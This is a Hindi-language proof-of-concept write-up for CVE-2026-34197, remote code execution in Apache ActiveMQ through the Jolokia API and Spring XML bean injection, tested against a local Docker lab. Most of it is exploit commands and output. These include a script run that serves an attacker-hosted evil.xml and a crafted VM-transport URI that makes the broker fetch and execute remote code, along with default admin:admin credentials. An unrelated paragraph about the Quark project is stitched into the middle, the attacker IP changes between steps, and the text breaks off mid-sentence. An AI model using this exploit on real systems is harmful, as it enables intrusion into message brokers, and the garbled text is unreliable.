
CVE-2026-34197 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Jolokia JMX-HTTP ब्रिज और Spring XML बीन इंजेक्शन के माध्यम से Apache ActiveMQ में प्रमाणित रिमोट कोड निष्पादन का प्रदर्शन करता है।
विवरण
Apache ActiveMQ Broker, Apache ActiveMQ में अनुचित इनपुट सत्यापन, कोड के निर्माण का अनुचित नियंत्रण (‘कोड इंजेक्शन’) भेद्यता। Apache ActiveMQ Classic Jolokia JMX-HTTP ब्रिज को वेब कंसोल पर /api/jolokia/ पर उजागर करता है। डिफ़ॉल्ट Jolokia एक्सेस नीति सभी ActiveMQ MBeans (org.apache.activemq:*) पर exec संचालन की अनुमति देती है, जिसमें BrokerService.addNetworkConnector(String) और BrokerService.addConnector(String) शामिल हैं। एक प्रमाणित हमलावर इन संचालनों को एक तैयार discovery URI के साथ कॉल कर सकता है, जो VM ट्रांसपोर्ट के brokerConfig पैरामीटर को ResourceXmlApplicationContext का उपयोग करके एक दूरस्थ Spring XML एप्लिकेशन संदर्भ लोड करने के लिए ट्रिगर करता है। क्योंकि Spring का ResourceXmlApplicationContext BrokerService द्वारा कॉन्फ़िगरेशन को मान्य करने से पहले सभी सिंगलटन बीन्स को इंस्टेंशिएट करता है, Runtime.exec() जैसे बीन फैक्ट्री विधियों के माध्यम से ब्रोकर के JVM पर मनमाना कोड निष्पादन होता है। यह समस्या Apache ActiveMQ Broker: 5.19.4 से पहले, 6.0.0 से 6.2.3 से पहले; Apache ActiveMQ All: 5.19.4 से पहले, 6.0.0 से 6.2.3 से पहले; Apache ActiveMQ: 5.19.4 से पहले, 6.0.0 से 6.2.3 से पहले संस्करणों को प्रभावित करती है। उपयोगकर्ताओं को संस्करण 5.19.4 या 6.2.3 में अपग्रेड करने की अनुशंसा की जाती है, जो समस्या को ठीक करता है
अधिक जानकारी के लिए: लिंक
Github: लिंक```bash ❯ docker compose up -d
**हम आपकी प्रतिक्रिया की सचमुच सराहना करते हैं।**
Quark परियोजना अब [BlackBerry Open-Source] के बड़े दायरे में है।
> **न्यूज़ फ़्लैश**
>
> Quark परियोजना को BlackBerry द्वारा आधिकारिक रूप से स्वीकार कर लिया गया है और अब हमारे पास पुराने की जगह पर एक नया होम पेज, https://quark.blackberry.tech/, है।
> सोर्स कोड को एक नए GitHub रिपॉजिटरी: https://github.com/blackberry/quark पर स्थानांतरित कर दिया गया है। हम पूरे समुदाय को हमारे साथ जुड़ने के लिए आमंत्रित करना चाहेंगे।```bash
❯ python3 exploit_poc.py auto \
--target http://localhost:8161 \
--lhost 192.168.1.32 --lport 9999 \
--cmd "touch /tmp/blahblah.txt"
======================================================================
CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
For authorized security testing and research only.
======================================================================
[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
"request": {
"mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
"arguments": [
"static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
],
"type": "exec",
"operation": "addNetworkConnector(java.lang.String)"
},
"value": "NC",
"timestamp": 1775616523,
"status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.
LHOST के रूप में कंप्यूटर का निजी IP होता है। आप Windows पर ipconfig या Linux पर ifconfig का उपयोग कर सकते हैं
RCE की जाँच```bash
❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
=> RCE सफल, लक्ष्य प्रणाली पर `blahblah.txt` फ़ाइल बनाई गई।
# विश्लेषण चरण
## गतिशील विश्लेषण```bash
❯ docker exec activemq-vuln java -version
openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)
❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar
रनटाइम लॉग्स ने भी पुष्टि की कि Jolokia सक्षम था और ActiveMQ वेब कंसोल के माध्यम से उजागर किया गया था:```bash INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/ INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
कनेक्शन सत्यापित करें```bash
❯ curl -i -u admin:admin \
-H 'Origin: http://localhost:8161' \
http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked
{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}
इसका अर्थ है: